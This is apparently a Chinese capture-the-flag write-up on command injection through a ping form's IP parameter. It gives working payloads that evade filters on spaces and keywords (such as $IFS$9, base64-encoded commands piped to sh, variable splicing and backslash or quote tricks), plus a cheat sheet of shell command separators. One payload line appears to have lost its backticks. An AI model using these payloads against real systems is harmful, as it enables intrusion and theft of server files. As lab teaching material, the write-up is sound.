页面给了个ip,考虑ping命令的命令执行。
这里过滤的内容比较多,过滤了空格,而且有些空格绕过方法也用不了。
这里绕过空格用的是$IFS$9
接下来尝试cat flag
flag字段也被过滤了,尝试使用通配符也不行,*也不行,[]符号也被过滤了。
接下来尝试base64编码。
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 可行
还有一种方法是cat 反引号里面的内容---
或$() 会引用命令被执行后的结果。
?ip=127.0.0.1;cat$IFS$9ls
还有一种方法就是拼接:
?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
这样也可以绕过。
补充空格绕过:{cat,1.txt}
关键字过滤绕过:反斜杠 ca\t、变量代换、编码、 echo xxxx | base64 -d|sh/bash、引号c’a’t
命令分隔与执行多条命令
1.&
& 表示将任务置于后台执行
2.&&
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
3.|
| 表示管道,上一条命令的输出,作为下一条命令的参数
4.||
只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
5.;
多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块